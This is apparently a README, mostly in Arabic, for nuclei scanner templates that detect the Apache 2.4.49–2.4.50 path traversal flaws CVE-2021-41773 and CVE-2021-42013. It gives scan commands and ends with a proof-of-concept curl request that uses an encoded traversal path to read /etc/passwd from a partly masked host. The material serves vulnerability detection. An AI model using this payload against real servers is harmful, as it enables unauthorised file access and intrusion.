psibot/apache-vulnerableيكتشف ثغرات اجتياز المسار في خادم Apache HTTP (CVE-2021-41773, CVE-2021-42013) من خلال التحقق من كشف ملف /etc/passwd عبر تقنيات اجتياز متنوعة.
Apache Version 2.4.49 and 2.4.50
(CVE-2021-41773) and (CVE-2021-42013)
ستحتاج إلى nuclei !
https://github.com/projectdiscovery/nuclei
تحقق من تثبيت nuclei المحلي وتحقق من القالب
nuclei -t apache-vulnerable-versions.yaml -vv
و
nuclei -t apache-path-traversal-rce-v2.yaml -vv
يجب أن ترى
[apache-vulnerable-versions] Vulnerable Apache Versions (2.4.49-2.4.50) (@psibot) [high]
و
[apache-path-traversal-passwd] Apache Path Traversal - /etc/passwd Exposure (@psibot) [critical]
لفحص الهدف :
nuclei --silent -t apache-vulnerable-versions.yaml -u https://*.*.*.*:port
لفحص أهداف في ملف :
nuclei --silent -t apache-vulnerable-versions.yaml -l hosts.txt
apache-vulnerable-versions.yaml - يكتشف إصدار Apache وسيُخرج HIGH إذا كان معرضًا للثغرة.
apache-path-traversal-rce-v2.yaml - سيُشغّل استغلالًا ويعرض المسار المعرض للثغرة. سيُخرج CRITICAL إذا كان معرضًا للثغرة.
POC :
curl -s -k https://135.*.120.*:8443/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
